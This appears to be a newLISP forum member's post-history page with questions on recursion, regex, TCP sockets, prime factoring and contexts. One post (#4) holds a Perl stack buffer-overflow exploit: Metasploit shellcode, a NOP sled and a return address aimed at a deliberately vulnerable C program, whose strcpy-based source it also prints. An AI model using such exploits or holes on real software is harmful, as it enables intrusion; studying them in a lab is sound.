Menu

Show posts

This section allows you to view all posts made by this member. Note that you can only see posts made in areas you currently have access to.

Show posts Menu

Messages - Grundle

#1
newLISP in the real world /
November 16, 2006, 10:08:38 AM
Ahh, way to go n00ber.  I just figured out why this is happening.  Note the difference in the following statements



(define (fib val) .... )

(define (fib 'val) ... )


The first define is of course correct.  The second will cause this behavior, because I believe that it is setting a variable at that point in stead of allowing a variable to be passed in.  



Such a silly mistake :D  Please laugh accordingly ;)
#2
Anything else we might add? /
November 16, 2006, 10:01:29 AM
K0z0ru is officially over, which is why you can't get to BYOMS.
#3
newLISP in the real world / Recursion Error
November 16, 2006, 09:50:49 AM
I am working with the latest newlisp-TK on a windows platform.  I have written the following simple recursive algorithm for the fibonacci sequence



(define (fib 'val)
  (if (< val 2)
   1
   (+ (fib (- val 1)) (fib (- val 2)))))


What is strange is that when I try to do either of the following statements



(fib 3)

(set 'n 3)
(fib n)


It will always return 1.  I have run the algorithm through the debugger supplied, and I have been able to determine that it is saying that all values are less than 2, which results in an automatic return of 1.  Why would it be doing this?
#4
Can anyone tell me what the newlisp equivelent would be to the following perl code?

 
 
 #!/usr/bin/perl
  # linux_ia32_exec -  CMD=ls -l Size=68 Encoder=PexFnstenvSub http://metasploit.com
  my $shellcode =
          "x2bxc9x83xe9xf5xd9xeexd9x74x24xf4x5bx81x73x13x64" .
"x96x2cxedx83xebxfcxe2xf4x0ex9dx74x74x36xf0x44xc0" .
"x07x1fxcbx85x4bxe5x44xedx0cxb9x4ex84x0ax1fxcfxbf" .
"x8cx90x2cxedx64xfax5fxcdx49xfax2cxbax37x1fxcdx20" .
"xe4x96x2cxed";
 
  my $nopsled = "x90" x 208;
  my $ret = "x70xf8xffxbf"; # 0xbffff870 - we need to convert to little endian
  my $payload = $nopsled . $shellcode . $ret;
  sys("./vuln", $payload);
  print "Done!n";


Note: sys should be system, but the board fails on post when I do that I wonder why...



 And for those interested in the vuln binary:

 
 
#include <string>
 #include <stdio>
 #include <stdlib>
 
 void
 overflow (passed_string)
 {
                 char vulnerable_buffer[272];
 
                 strcpy(vulnerable_buffer, passed_string);
 }
 
 int
 main (int argc, char *argv[])
 {
              overflow(argv[1]);
 
                 exit(0);
 }
 

 

 I'm just interested in seeing others solutions. One problem I've had is (maybe?) having to break up the nopsled/shellcode/ret into individual OPCodes and running them through (char) before I could construct a valid payload. Anyone got an idea how to do that a little better?

 

 Thanks guys!
#5
newLISP newS /
August 15, 2005, 12:58:56 PM
Does flashy mean functionality-wise?  I hope so, because I do mostly console apps.  Oh wait i know..I'll make an OS implementation and call it



nLispux
#6
newLISP newS / Slackware
June 16, 2005, 09:06:28 AM
Too bad slackware itself couldn't get an install rating of "3" (excellent).  I would give it a "-5" (teh suck). :P
#7
newLISP in the real world /
June 09, 2005, 11:42:22 AM
Yes you are right, and in fact I was doing the following.



(if (not (find (rest tag) s-tag 0))


The problem of course is that I put a quote before s-tag 's-tag

which of course will ruin everything.  It turns out to be something of an embarrassing oversite



:D
#8
newLISP in the real world / regex variable pattern
June 09, 2005, 09:46:05 AM
I was wondering if it is possible to use a variable for a pattern in a regex.  My code looks something like the following.



(set 'var1 (pop some-stack))

(if (find var1 var2 0)
     ;continue execution here
)


Obviously this doesn't work, but hopeful explains what I am trying to do.
#9
newLISP in the real world /
May 06, 2005, 12:08:29 PM
It turns out that the system is dependent on sending messages before a message can be received.  The most appropriate way to handle this was to write a receiving function that can be forked off of the main process and yet continue to send messages between the parent and child process.  



This way the parent process can continue to send commands without having to eternally wait for a response from the server.
#10
newLISP in the real world /
May 02, 2005, 12:27:34 PM
That is the source of my problem.  Since it is a 3rd party server, I have no control over dropping the connection or really any server functions, furthermore since authentication is first required dropping the connection would require going back through an authentication process before reaching the same state.



Any ideas?



Thanks,



   Keatts
#11
I am currently writing an application that does substantial communication with a third party remote server using TCP.  I run into a problem when I have authenticated the connection and begin passing information between the client and the server.  I am having a problem determining exactly when the remote server has finished sending all of its data, and is ready to receive another command.



At first I tried

(set 'contents "")
(while (net-receive socket 'buf 1024)
    (set 'contents (string contents buf))
)


Unfortunately when the net-receive reaches the end of the data it will "hang" and is basically listening until the server sends it more info (which it won't).



I tried a second test as follows



(set 'contents "")
(while (net-receive socket 'buf 1024)
    (print "peek: " (net-peek socket) "n")
    (set 'contents (string contents buf))
)


I did this because I wanted to see if net-peek would indicate whether or not there was information waiting to be taken off the socket.  In many cases it returns the value "0" even though there is information.  The only instance where a value was returned is when an initial (net-receive .... 1024) buffer size is exceeded.  



I am, then, a little confused on how to determine whether or not my socket has received information from the server.  My final idea, if this is truly the case, would be to implement a "timeout" for the listener.  If it exceeds a certain time then it is in an endless wait and I can "break" the listen and go back to executing.  If this is indeed the approach I need to take can anyone enlighten me on how to implement this sort of timer construct?



Thanks,



-Keatts
#12
newLISP in the real world / Ineficciency discovered
April 06, 2005, 01:04:20 PM
It appears that the problem is when you run n_is_prime? for every single number.  If I change my



(define (n_prime_factor number)


to the following there is a dramatic speedup.



(define (n_prime_factor number)

(set 'number_lst (sequence 3 (/ number 2) 2))
(push '2 number_lst)

(set 'prime_seq '())
(until (not number_lst)
(set 'tst_num (pop number_lst))
(if (= (mod number tst_num) 0)
(if (n_is_prime? tst_num)
(push tst_num prime_factors)
)
)
)

prime_factors


The reason this is so much faster is because n_is_prime?() is only being called when factor of the number is found.  Check out the following benchmarks.



> (time (l_prime_factor 1001))
3
> (time (n_prime_factor 1001))
1
> (time (l_prime_factor 10001))
23
> (time (n_prime_factor 10001))
5
> (time (l_prime_factor 100001))
236
> (time (n_prime_factor 100001))
52
> (time (l_prime_factor 1000001))
1514
> (time (n_prime_factor 1000001))
472
> (time (l_prime_factor 10000001))
15395
> (time (n_prime_factor 10000001))
3429
> (time (l_prime_factor 100000001))
147949
> (time (n_prime_factor 100000001))
42249


Now I just need to figure out how to speed up n_is_prime?
#13
newLISP in the real world / Benchmarks
April 06, 2005, 09:30:20 AM
Lutz,



   I was talking to you earlier about the performance of two versions of the same algorithm.  Intuitively the most recent version I have written should be much faster, but that is not the case.  I cannot figure out why the introduction of mapping and filters should cause the program to degrade time-wise so rapidly.  The following are the two versions.




(set 'prime_list '(2 3))

(define (list-map op p lst)
(map (lambda (x) (op p x)) lst)
)

(define (true? x)
(if x true nil)
)

(define (mods? x)
(if (= x 0) true nil)
)

(define (n_is_prime? number)
(set 'largest_prime (first (sort prime_list '>)))
(set 'flag true)
(set 'contained (list-map = number prime_list))

(if (filter true? contained)
number
(begin
(if (= (mod number 2) 0)
nil

(begin
(if (filter mods? (list-map mod number prime_list))
(begin (set 'flag nil)
nil
)
(begin
(if flag
(begin
(push number prime_list)
number
)
)
)
)
)
)
)
)
)

(define (n_prime_factor number)

(set 'number_lst (sequence 3 number 2))
(push '2 number_lst)

(set 'prime_seq (filter true? (map n_is_prime? number_lst)))
(set 'prime_factors (filter (fn (x) (= (mod number x) 0)) prime_seq))

)



The preceding block is the code I thought would run faster.  The next block of code is the first version, that seems to be running quite well.  



(define (l_is_prime? number)
(set 'divisor (- number 1))
(set 'return 'true)

(until (= divisor 1)
(if (= (mod number divisor) 0)
(set 'return nil)
)
(set 'divisor (- divisor 1))
)

return
)

(set 'prime_factors '())

(define (l_prime_factor number)
(set 'csr '2)
(until (= csr number)
(if (= (mod number csr) 0)
(if (l_is_prime? csr)
(push csr prime_factors)
)
)
(set 'csr (+ csr 1))
)
)


Notice that the second version goes through every number and tests, and it does not keep track of each prime number like the first version.  Theoretically if you have a list of primes and you only check them to see if they are factors, you avoid testing the rest of the numbers and your execution time should speed up.  There is probably an error in my lisp-code that isn't exactly following what i am thinking, but I can't find it.



Any thoughts?
#14
newLISP in the real world /
April 01, 2005, 11:09:50 AM
Thanks for the pointers, I found your explanation extremely helpful.  It turns out that the only thing I really needed to change was the following



(cons items item_obj)


To this



(push (eval item_obj) items)


I wasn't very specific about what "this_item" was and I noticed that you thought it was a context being passed, but it actually was a list of lists being passed.  Even so, your explanation of contexts and how they interact with each other answered a lot of questions for me.



Thanks!
#15
newLISP in the real world / Context List
March 31, 2005, 02:29:38 PM
Is it possible to make a list of contexts?  For example the following is a snippet of code (that obviously doesn't work) that i have written.


(context 'ITEM)

(set 'title "")
(set 'link "")
(set 'content "")
(set 'item_date "")
(set 'author "")

(context 'MY_CONTEXT)

(set 'items '())

(define (create_item this_item)
(new ITEM 'MAIN:item-obj)
;;Item Title
(set 'item_obj:title "some title")
;;Item Author
(set 'item_obj:author "some author")
;;Item Date
(set 'item_obj:item_date "some date)
;;Item Body
(set 'item_obj:content "foo body")
;;Item Link/URL
(set 'item_obj:link "some URL")
(cons items item_obj)
)

;;Have some method here that calls create_items multiple times



That is a scaled down version (for brevity's sake).  Hopefully this gives a general idea of what I am trying to do.  Can anyone advise me on the best approach?